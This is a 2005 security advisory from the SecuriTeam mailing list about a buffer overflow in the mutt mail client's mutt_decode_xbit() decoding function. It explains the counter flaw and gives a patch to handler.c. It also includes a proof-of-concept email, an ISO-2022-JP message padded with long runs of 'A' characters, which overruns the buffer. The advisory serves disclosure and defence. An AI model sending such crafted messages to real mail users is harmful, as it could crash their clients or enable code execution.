[UNIX] mutt mutt_decode_xbit() Buffer Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

mutt mutt_decode_xbit() Buffer Overflow
------------------------------------------------------------------------

SUMMARY

" <http://www.mutt.org/> Mutt is a small but very powerful text-based mail
client for UNIX operating systems."

By sending a maliciously crafted email to the mutt program an attacker can
cause the program to execute arbitrary code.

DETAILS

The problem is in the mutt attachment/encoding/decoding functions,
specifically handler.c:mutt_decode_xbit() and the buffer bufi[BUFI_SIZE].

The variable 'l' is used as a counter to reference a position in the
buffer and under certain circumstances its value can be manipulated and
becomes much larger than the size of this buffer, thus overwriting other
memory with many possible consequences.

This counter should never exceed the size and I believe the logic in the
convert_to_state() function is supposed to reset it to 0, however there is
a flaw - There are other functions affected in the same way due to
copy/paste, such as mutt_decode_uuencoded().

Proof of Concept :
Mutt buffer overflow POC.
Discovered by Frank Denis <j@42-networks.com>

-- snip snip --
From test@example.com Tue Jul 12 20:23:31 2005
Date: Tue, 12 Jul 2005 19:33:42 +0900
From: test@example.com
Subject: TEST
To: test@example.com
Content-type: text/plain; charset=ISO-2022-JP

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-- snip snip --

Proof of Concept:
The proof of concept can be found at:
<http://sightly.net/peter/tmp/mutt-bug>
http://sightly.net/peter/tmp/mutt-bug.

The last message causes data to be written to addresses bufi[~1300] and
above, when the size is 1000 (BUFI_SIZE) - this can easily be seen by
monitoring the counter from gdb or adding printf's. Since this and other
such experiments cause the propolice canary to get damaged (being right
next to the return address), it seems very likely for this to be
exploitable, except on system such as OpenBSD that include ProPolice by
default.

Possible Fix:
--- handler.c.orig Tue Mar 26 02:49:51 2002
+++ handler.c Wed Aug 10 16:55:02 2005
@@ -95,7 +95,7 @@ static void convert_to_state(iconv_t cd,
return;
}

- if (cd == (iconv_t)(-1))
+ if (cd == (iconv_t)(-1) || *l >= BUFI_SIZE)
{
state_prefix_put (bufi, *l, s);
*l = 0;

ADDITIONAL INFORMATION

The information has been provided by <mailto:pvalchev@sightly.net> Peter
Valchev ,
<mailto:j@pureftpd.org> Frank Denis.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.